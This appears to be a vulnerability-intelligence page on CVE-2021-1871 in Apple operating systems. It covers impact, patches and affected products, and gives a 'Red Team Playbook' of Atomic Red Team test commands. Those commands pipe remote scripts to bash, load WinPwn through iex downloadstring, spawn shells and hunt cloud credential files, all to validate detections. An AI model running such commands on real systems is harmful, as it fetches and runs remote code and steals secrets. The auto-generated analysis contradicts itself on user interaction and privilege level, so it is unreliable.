CVE-2021-1871
Overview
This vulnerability is a logic flaw in the access control mechanisms of Apple iOS, iPadOS, and macOS operating systems. The root cause lies in insufficient restrictions within system components responsible for validating remote input, allowing unauthorized code paths to be executed. The affected components include the core operating system logic handling remote communication and system-level privilege enforcement.
Vulnerability Description
A logic issue was addressed with improved restrictions. This issue is fixed in macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave, iOS 14.4 and iPadOS 14.4. A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on affected Apple devices, gaining the ability to control the system at the highest privilege level. This can lead to full compromise of the device, including access to sensitive data, installation of persistent malware, and disruption of normal operations. No user interaction is required, and the attack can be performed remotely over the network, significantly increasing the risk of widespread exploitation and data breaches.
Solution
Apple has addressed this issue in iOS 14.4, iPadOS 14.4, macOS Big Sur 11.2, Security Update 2021-001 for Catalina, and Security Update 2021-001 for Mojave. Users and administrators should apply these updates promptly. Detailed patch instructions and advisories are available at Apple's official support pages: https://support.apple.com/en-us/HT212147 and https://support.apple.com/en-us/HT212146. No workarounds are recommended; installing the provided security updates is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a logic flaw within the affected Apple operating systems, including macOS and iOS. This flaw allows for improper handling of certain operations, which can lead to arbitrary code execution. When an attacker successfully exploits this vulnerability, they can execute malicious code with the same privileges as the user, potentially compromising sensitive data, altering system configurations, or even taking complete control of the device. The issue was addressed with improved restrictions in the latest updates, indicating that the original design did not adequately account for all possible user inputs or states, allowing for exploitation.
Attack vectors for this vulnerability are particularly concerning due to the potential for remote exploitation. An attacker could craft a malicious application or utilize a compromised website that triggers the vulnerability when accessed by an unsuspecting user. This means that users could be targeted through phishing schemes or social engineering tactics, where they are lured into downloading or interacting with malicious content. The ability to execute arbitrary code remotely significantly amplifies the risk, as it does not require physical access to the device, making it easier for attackers to target a wide range of users across various environments.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on Apple products for their operations. The high CVSS score of 9.8 indicates a critical severity level, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of intellectual property, and damage to brand reputation. For businesses, the financial implications could be significant, ranging from remediation costs to potential regulatory fines if sensitive data is compromised. Furthermore, the acknowledgment that this vulnerability may have been actively exploited in the wild raises the stakes for organizations that have not yet applied the necessary security updates.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize the implementation of security updates provided by Apple. Regular patch management processes should be established to ensure that all devices are running the latest versions of the operating systems. Additionally, employing endpoint protection solutions that can identify and block malicious activities is crucial. Organizations should also conduct security awareness training for employees to educate them about the risks of downloading unverified applications and clicking on suspicious links. Monitoring network traffic for unusual patterns can also help in identifying potential exploitation attempts.
In conclusion, the logic flaw present in the affected Apple operating systems poses a significant threat to users and organizations alike. The potential for remote exploitation and arbitrary code execution underscores the importance of timely updates and robust security practices. By understanding the nature of the vulnerability, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks associated with this critical security issue.
Recent CSURFACE threat intelligence indicates a moderate increase in the Exploit Prediction Scoring System (EPSS) for CVE-2021-1871, reflecting a slight upward trend in the likelihood of exploitation. While no new exploit techniques or ransomware affiliations have been identified, the incremental rise in EPSS suggests growing interest or reconnaissance activity targeting this vulnerability. This subtle shift is significant for defenders as it signals a potential escalation in adversary focus, warranting heightened vigilance in monitoring related indicators. Although the overall threat level remains critical due to the vulnerability’s inherent severity and potential impact, the updated EPSS trend underscores the necessity for continued prioritization in patch management and detection efforts to preempt emerging exploitation attempts.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | All |
cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
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Fedoraproject | Fedora | 33 |
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1871 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212147 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212146 |
| lists.fedoraproject.org |
GitHub CVE
vendor-advisory
x_refsource_FEDORA
|
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/L3L6ZZOU5JS7E3RFYGLP7UFLXCG7TNLU/ |
| debian.org |
GitHub CVE
vendor-advisory
x_refsource_DEBIAN
|
https://www.debian.org/security/2021/dsa-4923 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1871 |